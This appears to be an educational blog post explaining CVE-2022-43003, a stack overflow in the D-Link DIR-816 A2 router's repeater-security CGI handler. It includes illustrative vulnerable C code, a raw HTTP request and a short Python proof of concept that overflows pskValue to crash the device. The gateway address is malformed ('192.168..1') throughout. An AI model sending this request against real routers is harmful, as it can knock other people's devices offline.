In late 2022, a critical vulnerability was identified in the D-Link DIR-816 A2 WiFi router, specifically within firmware version 1.10 B05. This flaw, known as CVE-2022-43003, exposed users to remote attacks due to a stack overflow caused by improper handling of input in the pskValue parameter, passed to the setRepeaterSecurity function. This post breaks down how the vulnerability works, shares code snippets for better understanding, and guides readers through a basic exploitation scenario.

> Note: This educational post is for research and learning purposes. Do not use the information for malicious activities.

The Basics: Understanding the Vulnerability

D-Link routers often use a web interface for configuration. Under the hood, many of these web pages interact with CGI programs, which process user input and update device settings. Sometimes, these CGI scripts do not properly check the length of user-supplied data. If an attacker can force a program to read or write outside the expected memory bounds (called a buffer or stack overflow), it can lead to crashes, data corruption, or even running malicious code on the router.

Vulnerable Function: setRepeaterSecurity

The flaw exists in the CGI handling for configuring the router’s repeater WiFi settings. To connect to another wireless network as a repeater, you set a password or "PSK" (Pre-Shared Key). The router uses the setRepeaterSecurity function to update this value.

Here, the function does not properly validate the pskValue parameter. If the value is too long, it spills over the size of the internal buffer, overwriting critical portions of the stack.

Vulnerable Code Example

Here’s a pseudo-code snippet showing the vulnerable logic:

void setRepeaterSecurity(char *pskValue) {
    char buf[64];
    strcpy(buf, pskValue);  // No length check!
    // ... further processing ...
}

If an attacker sends in a string longer than 64 characters, it overwrites adjacent memory.

*Note: The actual router firmware is compiled and obfuscated, so this is a representative example for learning purposes.*

Reaching the Vulnerability

Attackers can interact with the vulnerable function via the router’s web interface or by sending an HTTP request directly to the device’s configuration endpoint.

Suppose the router runs on the default gateway 192.168..1. Attackers can send a request like

POST /goform/setRepeaterSecurity HTTP/1.1
Host: 192.168..1
Content-Type: application/x-www-form-urlencoded

pskValue=AAAAAAAA... (more than 64 A's)

The web interface is often not protected by strong authentication on vulnerable firmware, making the router an easy target from the local network.

Here's a basic Proof-of-Concept exploit for educational purposes

import requests

target = "http://192.168..1/goform/setRepeaterSecurity";
payload = "A" * 128  # 128 bytes to overflow 64-byte buffer and adjacent memory

data = {
    "pskValue": payload
}

response = requests.post(target, data=data)
print("Status Code:", response.status_code)
print("Response:", response.text)

If the router reboots or becomes unresponsive after running the script, the overflow likely occurred.

Mitigation and Fix

If you own a D-Link DIR-816 A2, check for the latest firmware updates from D-Link's official support page. It's important to upgrade your firmware to the latest version that addresses this vulnerability.

Additional References

- Official NVD entry for CVE-2022-43003
- Original Exploit Disclosure (Packet Storm)
- D-Link DIR-816 A2 Product Page

Conclusion

CVE-2022-43003 is a stark reminder that even in modern devices, simple programming oversights can open the door to dangerous exploits. If you own a D-Link DIR-816—or help friends and family with technology—ensure all devices are kept up to date. Never trust user input without proper validation. Protect your home network from easy targets!

Timeline

Published on: 10/26/2022 19:15:00 UTC
Last modified on: 10/28/2022 14:46:00 UTC